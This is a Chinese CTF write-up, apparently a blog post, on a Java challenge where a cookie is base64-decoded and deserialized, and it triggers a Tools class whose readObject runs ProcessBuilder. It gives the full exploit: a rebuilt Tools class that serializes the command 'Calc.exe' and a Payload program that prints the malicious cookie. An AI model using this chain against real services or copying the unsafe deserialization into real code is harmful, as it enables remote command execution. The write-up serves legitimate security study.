• JavaCTF记录


    Springmvcdemo

    在没有提升权限之前,整个环境只有Cookie是可控的,并且提升权限也是要通过cookie来,先看看它对cookie做了什么,看一下过滤器

    1. public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
    2. Cookie[] cookies = ((HttpServletRequest)request).getCookies();
    3. boolean exist = false;
    4. Cookie cookie = null;
    5. if (cookies != null) {
    6. Cookie[] var7 = cookies;
    7. int var8 = cookies.length;
    8. for(int var9 = 0; var9 < var8; ++var9) {
    9. Cookie c = var7[var9];
    10. if (c.getName().equals("cinfo")) {
    11. exist = true;
    12. cookie = c;
    13. break;
    14. }
    15. }
    16. }
    17. byte[] bytes;
    18. if (exist) {
    19. String b64 = cookie.getValue();
    20. Decoder decoder = Base64.getDecoder();
    21. bytes = decoder.decode(b64);
    22. ClientInfo cinfo = null;
    23. if (!b64.equals("") && bytes != null) {
    24. try {
    25. cinfo = (ClientInfo)Tools.parse(bytes);
    26. } catch (Exception var14) {
    27. var14.printStackTrace();
    28. }
    29. }
    30. ...

    发现过滤器对cookie的处理调用了一个Tools类,再看看Tools类

    1. package com.tools;
    2. import java.io.ByteArrayInputStream;
    3. import java.io.ByteArrayOutputStream;
    4. import java.io.IOException;
    5. import java.io.ObjectInputStream;
    6. import java.io.ObjectOutputStream;
    7. import java.io.Serializable;
    8. public class Tools implements Serializable {
    9. private static final long serialVersionUID = 1L;
    10. private String testCall;
    11. public Tools() {
    12. }
    13. public static Object parse(byte[] bytes) throws Exception {
    14. ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
    15. return ois.readObject();
    16. }
    17. public static byte[] create(Object obj) throws Exception {
    18. ByteArrayOutputStream bos = new ByteArrayOutputStream();
    19. ObjectOutputStream outputStream = new ObjectOutputStream(bos);
    20. outputStream.writeObject(obj);
    21. return bos.toByteArray();
    22. }
    23. private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    24. Object obj = in.readObject();
    25. (new ProcessBuilder((String[])((String[])obj))).start();
    26. }
    27. }

    这个Tools类的readObject,有一个很明显的命令执行

    那么目的就很明显了,需要去触发这个readObject,也就是说需要反序列化一个Tools类

    再看Tools的parse方法有一个很明显的readObject,并且也被过滤器调用了

    现在链子已经清晰了。

    本地构造一个Tools类

    1. package com.tools;
    2. import java.io.*;
    3. public class Tools implements Serializable {
    4. private static final long serialVersionUID = 1L;
    5. public static Object parse(byte[] bytes) throws Exception {
    6. ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
    7. return ois.readObject();
    8. }
    9. public String testCall;
    10. public static byte[] create(Object obj) throws Exception {
    11. ByteArrayOutputStream bos = new ByteArrayOutputStream();
    12. ObjectOutputStream outputStream = new ObjectOutputStream(bos);
    13. outputStream.writeObject(obj);
    14. return bos.toByteArray();
    15. }
    16. @Serial
    17. private void writeObject (ObjectOutputStream os) throws IOException {
    18. os . writeObject(new String[]{"Calc.exe"});
    19. }
    20. @Serial
    21. private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException, IOException {
    22. Object obj = in.readObject();
    23. (new ProcessBuilder((String[])obj)).start();
    24. }
    25. }

    Payload

    1. import java.util.Base64;
    2. import com.tools.Tools;
    3. public class Payload {
    4. public static void main(String[] args) throws Exception {
    5. Tools load = new Tools();
    6. byte[] bytes = Tools.create(load);
    7. Base64.Encoder encoder = Base64.getEncoder();
    8. System.out.println(encoder.encodeToString(bytes));
    9. }
    10. }

    将得到的数据打印出来修改cookie就成功执行命令了

  • 相关阅读:
    VLDB'22 HiEngine极致RTO论文解读
    iOS OpenGL ES3.0入门实践
    pytorch 介绍以及常用工具包展示
    Linux进程控制(含进程程序替换)
    h5兼容问题 复制粘贴移动端无法粘贴复制内容
    js四舍五入和计算精度问题
    齐博x1 你们的 上一页 下一页 还好么?
    软件测试的发展趋势
    【JUC源码专题】ReentrantReadWriteLock 核心源码分析(JDK8)
    2010年09月06日 Go生态洞察:Go语言荣获2010年度Bossie奖
  • 原文地址:https://blog.csdn.net/why811/article/details/132972325